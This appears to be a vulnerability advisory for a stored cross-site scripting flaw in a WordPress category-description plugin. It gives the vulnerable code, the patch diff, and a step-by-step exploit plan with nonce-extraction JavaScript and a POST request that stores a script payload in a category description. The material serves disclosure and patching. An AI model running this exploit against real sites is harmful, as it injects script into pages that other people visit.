Allow HTML in Category Descriptions <= 1.2.4 - Authenticated (Administrator+) Stored Cross-Site Scripting via Category Descriptions
Description
The Allow HTML in Category Descriptions plugin for WordPress is vulnerable to Stored Cross-Site Scripting via category descriptions in all versions up to, and including, 1.2.4. This is due to the plugin unconditionally removing the `wp_kses_data` output filter for term_description, link_description, link_notes, and user_description fields without checking user capabilities. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in category descriptions that will execute whenever a user accesses a page where the category description is displayed. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.2.4# Exploitation Research Plan: CVE-2026-0693 ## 1. Vulnerability Summary The **Allow HTML in Category Descriptions** plugin (<= 1.2.4) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The plugin's core purpose is to allow HTML in fields that WordPress usually sanitizes (category descriptions,…
Show full research plan
Exploitation Research Plan: CVE-2026-0693
1. Vulnerability Summary
The Allow HTML in Category Descriptions plugin (<= 1.2.4) is vulnerable to Stored Cross-Site Scripting (XSS). The plugin's core purpose is to allow HTML in fields that WordPress usually sanitizes (category descriptions, user bios, etc.). It achieves this by unconditionally removing the wp_kses_data filter from several output hooks.
Because the plugin does not check for the unfiltered_html capability before removing these filters, it allows users with the ability to edit terms (Administrators, and in some configs, Editors) to inject arbitrary JavaScript. This is specifically critical in WordPress Multisite environments or installations where DISALLOW_UNFILTERED_HTML is defined as true, as it bypasses the security restrictions intended to prevent even administrators from using dangerous HTML.
2. Attack Vector Analysis
- Vulnerable Endpoints:
wp-admin/edit-tags.php(for creating/editing categories/tags)wp-admin/term.php(for editing existing terms)
- Vulnerable Parameters:
description(associated with the term being created or edited). - Authentication Level: Authenticated (Administrator+). While the severity is medium because it requires high privileges, it constitutes a privilege escalation in restricted environments (Multisite).
- Preconditions:
- The plugin Allow HTML in Category Descriptions must be active.
- To demonstrate the vulnerability effectively (bypassing core protections), the environment should have
define( 'DISALLOW_UNFILTERED_HTML', true );inwp-config.php.
3. Code Flow (Inferred)
- Initialization: The plugin likely hooks into
initorplugins_loaded. - Filter Removal: Inside the initialization function, the plugin executes:
remove_filter( 'pre_term_description', 'wp_filter_kses' ); remove_filter( 'term_description', 'wp_kses_data' ); remove_filter( 'link_description', 'wp_kses_data' ); remove_filter( 'link_notes', 'wp_kses_data' ); remove_filter( 'user_description', 'wp_kses_data' ); - Storage: When an administrator saves a category description, the
pre_term_descriptionfilter (which normally strips HTML) is missing, allowing the raw payload to be saved to thewp_term_taxonomytable in thedescriptioncolumn. - Rendering: When a category page is viewed on the frontend or the category list is viewed in the admin dashboard, the
term_descriptionfilter (which normally sanitizes output) is missing, leading to the execution of the stored script.
4. Nonce Acquisition Strategy
Since this exploit requires updating category settings as an administrator, we must use the standard WordPress administrative nonces.
- Login: Use the
http_requesttool to log in as the administrator. - Navigate to Category Page: Use
browser_navigateto go towp-admin/edit-tags.php?taxonomy=category. - Extract Nonce:
- For Creating a new category: Use
browser_evalto get the value of the_wpnonce_add-taghidden input. - For Editing an existing category: Navigate to the specific edit page (
wp-admin/term.php?taxonomy=category&tag_ID=[ID]) and extract the_wpnoncevalue. - Javascript:
document.querySelector('input[name="_wpnonce"]')?.value || document.querySelector('input[name="_wpnonce_add-tag"]')?.value
- For Creating a new category: Use
5. Exploitation Strategy
Step 1: Force Restricted Environment
Ensure the environment restricts unfiltered_html to prove the plugin is introducing the flaw.
wp config set DISALLOW_UNFILTERED_HTML true --raw
Step 2: Inject Stored XSS
We will create a new category with a script payload in the description.
Request Details:
- Tool:
http_request - Method: POST
- URL:
http://[TARGET]/wp-admin/edit-tags.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:add-tagscreen:edit-categorytaxonomy:categorypost_type:post_wpnonce_add-tag:[EXTRACTED_NONCE]tag-name:Vulnerable Categoryslug:vuln-catdescription:<script>alert("CVE-2026-0693_XSS")</script>
Step 3: Trigger XSS
The payload will trigger when viewing the category archive page.
Request Details:
- Tool:
http_request - Method: GET
- URL:
http://[TARGET]/category/vuln-cat/
6. Test Data Setup
- Plugin Installation:
wp plugin install allow-html-in-category-descriptions --version=1.2.4 --activate - User Creation: Ensure an administrator user exists.
- Environment Config:
wp config set DISALLOW_UNFILTERED_HTML true --raw. This is the crucial "security hardening" that the plugin breaks.
7. Expected Results
- On Injection: The request should return a
302redirect back toedit-tags.php, and the database should contain the unescaped<script>tag in thedescriptionfield for the new term. - On Execution: The HTML response of the category archive page should contain the literal string
<script>alert("CVE-2026-0693_XSS")</script>without being entity-encoded or stripped.
8. Verification Steps
- Database Check: Use WP-CLI to verify the content was stored raw.
wp term list category --fields=name,description --format=json | grep "CVE-2026-0693_XSS" - Source Inspection: Use
http_requestto fetch the frontend page and check for the payload.# Check if the script tag is present and NOT escaped http_request(url="http://[TARGET]/category/vuln-cat/") # Search response for <script>alert("CVE-2026-0693_XSS")</script>
9. Alternative Approaches
If the plugin is used to update the User Description (Bio) instead:
- Navigate to
wp-admin/profile.php. - Extract the
_wpnoncefor user profile updates. - Send a POST request to
wp-admin/profile.phpwith thedescriptionparameter set to the XSS payload. - Verify by viewing the author's archive page or the profile page itself.
If the site uses a custom theme that displays descriptions via the_archive_description() (which calls term_description()), the XSS will trigger there as well.
Summary
The Allow HTML in Category Descriptions plugin removes standard WordPress security filters that sanitize HTML for category, link, and user descriptions. This allows authenticated administrators to inject arbitrary JavaScript into these fields, which executes when viewed, bypassing security restrictions intended for Multisite or hardened environments where the unfiltered_html capability is disabled.
Vulnerable Code
// allow-html-in-category-descriptions.php remove_filter( 'pre_term_description', 'wp_filter_kses' ); remove_filter( 'term_description', 'wp_kses_data' ); remove_filter( 'link_description', 'wp_kses_data' ); remove_filter( 'link_notes', 'wp_kses_data' ); remove_filter( 'user_description', 'wp_kses_data' );
Security Fix
@@ -1,5 +1,9 @@ -remove_filter( 'pre_term_description', 'wp_filter_kses' ); -remove_filter( 'term_description', 'wp_kses_data' ); -remove_filter( 'link_description', 'wp_kses_data' ); -remove_filter( 'link_notes', 'wp_kses_data' ); -remove_filter( 'user_description', 'wp_kses_data' ); +add_action('init', function() { + if (current_user_can('unfiltered_html')) { + remove_filter( 'pre_term_description', 'wp_filter_kses' ); + remove_filter( 'term_description', 'wp_kses_data' ); + remove_filter( 'link_description', 'wp_kses_data' ); + remove_filter( 'link_notes', 'wp_kses_data' ); + remove_filter( 'user_description', 'wp_kses_data' ); + } +});
Exploit Outline
The exploit targets WordPress installations where the 'unfiltered_html' capability is restricted (such as Multisite or sites with DISALLOW_UNFILTERED_HTML enabled). 1. Authentication: The attacker must authenticate as a user with permissions to edit categories or user profiles (typically an Administrator). 2. Payload Injection: The attacker navigates to the category management page (wp-admin/edit-tags.php?taxonomy=category) or user profile page. 3. Data Submission: The attacker submits a POST request to create or update a category/profile, including a malicious script (e.g., <script>alert(1)</script>) in the 'description' parameter. 4. Execution: The payload is stored without sanitization because the plugin has disabled the 'wp_filter_kses' and 'wp_kses_data' filters. The script executes whenever the category description or user bio is rendered on the frontend or backend.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.